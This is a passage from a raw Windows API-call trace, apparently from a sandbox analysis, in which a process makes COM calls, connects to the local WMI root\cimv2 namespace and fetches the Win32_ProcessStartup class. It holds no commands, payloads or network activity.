ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0061.977] IUnknown:Release (This=0x111f638) returned 0x1 [0061.978] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef8740) returned 0x0 [0061.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8740, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0061.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8740, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119afa0) returned 0x0 [0061.979] WbemDefPath:IUnknown:Release (This=0x1bef8740) returned 0x0 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119afa0) returned 0x0 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0061.979] WbemDefPath:IUnknown:AddRef (This=0x119afa0) returned 0x3 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8780) returned 0x0 [0061.979] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8780, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.979] WbemDefPath:IUnknown:Release (This=0x1bef8780) returned 0x3 [0061.979] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0061.979] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0061.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0061.979] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x2 [0061.979] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x1 [0061.979] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0061.979] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x119afa0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119afa0) returned 0x0 [0061.980] WbemDefPath:IUnknown:AddRef (This=0x119afa0) returned 0x3 [0061.980] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x2 [0061.980] WbemDefPath:IWbemPath:SetText (This=0x119afa0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119afa0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetInfo (in: This=0x119afa0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119afa0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetInfo (in: This=0x119afa0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119afa0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0061.980] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.980] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0061.980] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0061.980] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0061.980] IUnknown:Release (This=0x111f638) returned 0x1 [0061.982] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bef87c0) returned 0x0 [0061.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef87c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0061.982] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef87c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119b060) returned 0x0 [0061.982] WbemDefPath:IUnknown:Release (This=0x1bef87c0) returned 0x0 [0061.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119b060) returned 0x0 [0061.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0061.982] WbemDefPath:IUnknown:AddRef (This=0x119b060) returned 0x3 [0061.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0061.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0061.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bef8800) returned 0x0 [0061.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.983] WbemDefPath:IUnknown:Release (This=0x1bef8800) returned 0x3 [0061.983] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0061.983] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0061.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0061.983] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x2 [0061.983] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x1 [0061.983] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0061.983] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0061.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b060, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119b060) returned 0x0 [0061.983] WbemDefPath:IUnknown:AddRef (This=0x119b060) returned 0x3 [0061.983] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x2 [0061.983] WbemDefPath:IWbemPath:SetText (This=0x119b060, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.983] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.983] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.983] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0061.983] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0061.983] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0061.983] IUnknown:Release (This=0x111f638) returned 0x1 [0061.984] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bef8900) returned 0x0 [0061.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8900, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0061.984] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef8900, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bef8920) returned 0x0 [0061.985] WbemLocator:IUnknown:Release (This=0x1bef8900) returned 0x0 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bef8920) returned 0x0 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0061.985] WbemLocator:IUnknown:AddRef (This=0x1bef8920) returned 0x3 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0061.985] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0061.985] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0061.985] WbemLocator:IUnknown:Release (This=0x1bef8920) returned 0x2 [0061.985] WbemLocator:IUnknown:Release (This=0x1bef8920) returned 0x1 [0061.985] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0061.985] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0061.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8920, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bef8920) returned 0x0 [0061.985] WbemLocator:IUnknown:AddRef (This=0x1bef8920) returned 0x3 [0061.985] WbemLocator:IUnknown:Release (This=0x1bef8920) returned 0x2 [0061.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b060, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.986] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.986] WbemDefPath:IWbemPath:GetText (in: This=0x119b060, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.986] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bef8940) returned 0x0 [0061.986] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef8940, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf00990) returned 0x0 [0062.165] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00990, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0020) returned 0x0 [0062.166] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0020, pProxy=0x1bf00990, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0062.166] WbemLocator:IUnknown:Release (This=0x11e0020) returned 0x1 [0062.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00990, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0060) returned 0x0 [0062.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00990, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0020) returned 0x0 [0062.166] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0020, pProxy=0x1bf00990, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0062.166] WbemLocator:IUnknown:Release (This=0x11e0020) returned 0x2 [0062.166] WbemLocator:IUnknown:Release (This=0x11e0060) returned 0x1 [0062.166] CoTaskMemFree (pv=0x1beedac0) [0062.166] WbemLocator:IUnknown:AddRef (This=0x1bf00990) returned 0x2 [0062.166] WbemLocator:IUnknown:Release (This=0x1bef8940) returned 0x0 [0062.167] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0062.167] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0062.167] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00990, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0030) returned 0x0 [0062.167] WbemLocator:IRpcOptions:Query (in: This=0x11e0030, pPrx=0x1bef89a0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0062.167] WbemLocator:IUnknown:Release (This=0x11e0030) returned 0x2 [0062.167] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0062.167] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0062.167] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00990, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf00990) returned 0x0 [0062.167] WbemLocator:IUnknown:Release (This=0x1bf00990) returned 0x2 [0062.167] SysStringLen (param_1=0x0) returned 0x0 [0062.167] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0062.167] WbemDefPath:IWbemPath:GetText (in: This=0x119afa0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0062.168] IWbemServices:GetObject (in: This=0x1bf00990, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef43c0, ppCallResult=0x0) returned 0x0 [0062.170] IWbemClassObject:Get (in: This=0x1bef43c0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0062.170] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0062.170] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0062.170] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0062.170] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0062.170] 